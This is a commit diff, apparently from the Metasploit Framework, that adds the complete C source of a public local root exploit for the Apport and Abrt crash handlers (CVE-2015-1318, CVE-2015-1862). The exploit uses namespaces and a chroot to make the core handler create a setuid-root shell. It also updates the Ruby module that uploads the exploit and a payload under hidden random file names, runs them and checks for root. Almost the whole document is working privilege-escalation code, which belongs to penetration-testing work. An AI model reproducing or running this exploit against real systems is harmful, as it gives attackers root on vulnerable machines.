Use cross-compiled exploit

Author: bcoles

data/exploits/cve-2015-1318/newpid

@@ -0,0 +1,143 @@
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <signal.h>
+#include <err.h>
+#include <syslog.h>
+#include <sched.h>
+#include <linux/sched.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+ 
+//
+// Apport/Abrt Vulnerability Demo Exploit.
+//
+//  Apport: CVE-2015-1318
+//  Abrt:   CVE-2015-1862
+// 
+//   -- [email protected], April 2015.
+//
+// $ gcc -static newpid.c
+// $ ./a.out
+// uid=0(root) gid=0(root) groups=0(root)
+// sh-4.3# exit
+// exit
+//
+// Hint: To get libc.a,
+//  yum install glibc-static or apt-get install libc6-dev
+//
+
+//
+// Modified for Metasploit. Original exploit:
+// - https://www.exploit-db.com/exploits/36746/
+//
+ 
+int main(int argc, char **argv)
+{
+    int status;
+    pid_t wrapper;
+    pid_t init;
+    pid_t subprocess;
+    unsigned i;
+
+    // If we're root, then we've convinced the core handler to run us,
+    // so create a setuid root executable that can be used outside the chroot.
+    if (getuid() == 0) {
+        if (chown("sh", 0, 0) != 0)
+            exit(EXIT_FAILURE);
+ 
+        if (chmod("sh", 04755) != 0)
+            exit(EXIT_FAILURE);
+ 
+        return EXIT_SUCCESS;
+    }
+ 
+    // If I'm not root, but euid is 0, then the exploit worked and we can spawn
+    // a shell and cleanup.
+    if (setuid(0) == 0) {
+        system("id");
+        system("rm -rf exploit");
+        execlp("sh", "sh", NULL);
+ 
+        // Something went wrong.
+        err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
+    }
+ 
+    // It looks like the exploit hasn't run yet, so create a chroot.
+    if (mkdir("exploit", 0755) != 0
+     || mkdir("exploit/usr", 0755) != 0
+     || mkdir("exploit/usr/share", 0755) != 0
+     || mkdir("exploit/usr/share/apport", 0755) != 0
+     || mkdir("exploit/usr/libexec", 0755) != 0) {
+        err(EXIT_FAILURE, "failed to create chroot directory");
+    }
+ 
+    // Create links to the exploit locations we need.
+    if (link(*argv, "exploit/sh") != 0
+     || link(*argv, "exploit/usr/share/apport/apport") != 0        // Ubuntu
+     || link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) {  // Fedora
+        err(EXIT_FAILURE, "failed to create required hard links");
+    }
+ 
+    // Create a subprocess so we don't enter the new namespace.
+    if ((wrapper = fork()) == 0) {
+ 
+        // In the child process, create a new pid and user ns. The pid
+        // namespace is only needed on Ubuntu, because they check for %P != %p
+        // in their core handler. On Fedora, just a user ns is sufficient.
+        if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
+            err(EXIT_FAILURE, "failed to create new namespace");
+ 
+        // Create a process in the new namespace.
+        if ((init = fork()) == 0) {
+ 
+            // Init (pid 1) signal handling is special, so make a subprocess to
+            // handle the traps.
+            if ((subprocess = fork()) == 0) {
+                // Change /proc/self/root, which we can do as we're privileged
+                // within the new namepace.
+                if (chroot("exploit") != 0) {
+                    err(EXIT_FAILURE, "chroot didnt work");
+                }
+ 
+                // Now trap to get the core handler invoked.
+                __builtin_trap();
+ 
+                // Shouldn't happen, unless user is ptracing us or something.
+                err(EXIT_FAILURE, "coredump failed, were you ptracing?");
+            }
+ 
+            // If the subprocess exited with an abnormal signal, then everything worked.
+            if (waitpid(subprocess, &status, 0) == subprocess)    
+                return WIFSIGNALED(status)
+                        ? EXIT_SUCCESS
+                        : EXIT_FAILURE;
+ 
+            // Something didn't work.
+            return EXIT_FAILURE;
+        }
+ 
+        // The new namespace didn't work.
+        if (waitpid(init, &status, 0) == init)
+            return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
+                    ? EXIT_SUCCESS
+                    : EXIT_FAILURE;
+ 
+        // Waitpid failure.
+        return EXIT_FAILURE;
+    }
+ 
+    // If the subprocess returned sccess, the exploit probably worked,
+    // reload with euid zero.
+    if (waitpid(wrapper, &status, 0) == wrapper) {
+        // All done, spawn root shell.
+        if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
+            execl(*argv, "w00t", NULL);
+        }
+    }
+ 
+    // Unknown error.
+    errx(EXIT_FAILURE, "unexpected result, cannot continue");
+}

data/exploits/cve-2015-1318/newpid.c

@@ -58,6 +58,10 @@ def initialize(info = {})
       ])
   end
 
+  def base_dir
+    datastore['WritableDir']
+  end
+
   def check
     res = cmd_exec 'apport-cli --version'
 
@@ -118,37 +122,47 @@ def exploit
       fail_with Failure::NotVulnerable, 'Target is not vulnerable'
     end
 
-    # Tavis Ormandy's exploit:
+    # Upload Tavis Ormandy's newpid exploit:
     # - https://www.exploit-db.com/exploits/36746/
-    # Compiled on Ubuntu 14.04.1 LTS x86
+    # Cross-compiled with musl:
+    # - i486-linux-musl-cc -static newpid.c
     path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'
     fd = ::File.open path, 'rb'
     executable_data = fd.read fd.stat.size
     fd.close
 
     executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
-    executable_path = "#{datastore['WritableDir']}/#{executable_name}"
+    executable_path = "#{base_dir}/#{executable_name}"
     upload_and_chmodx executable_path, executable_data
 
+    # Upload payload executable
     payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
-    payload_path = "#{datastore['WritableDir']}/#{payload_name}"
+    payload_path = "#{base_dir}/#{payload_name}"
     upload_and_chmodx payload_path, generate_payload_exe
 
-    # the exploit writes an 'exploit' directory
+    # newpid writes an 'exploit' directory
     # which must be removed manually if exploitation fails
-    register_dir_for_cleanup "#{datastore['WritableDir']}/exploit"
+    register_dir_for_cleanup "#{base_dir}/exploit"
+
+    # Change working directory to base_dir,
+    # allowing newpid to create the required hard links
+    cmd_exec "cd '#{base_dir}'"
 
     print_status 'Launching exploit...'
-    cmd_exec "cd #{datastore['WritableDir']}"
     output = cmd_exec executable_path
     output.each_line { |line| vprint_status line.chomp }
 
+    # Check for root privileges
     id = cmd_exec 'id'
+
     unless id.include? 'root'
       fail_with Failure::Unknown, 'Failed to gain root privileges'
     end
 
-    print_good "Upgraded session to root privileges ('#{id}')"
+    print_good 'Upgraded session to root privileges'
+    vprint_line id
+
+    # Execute payload executable
     vprint_status 'Executing payload...'
     cmd_exec payload_path
   end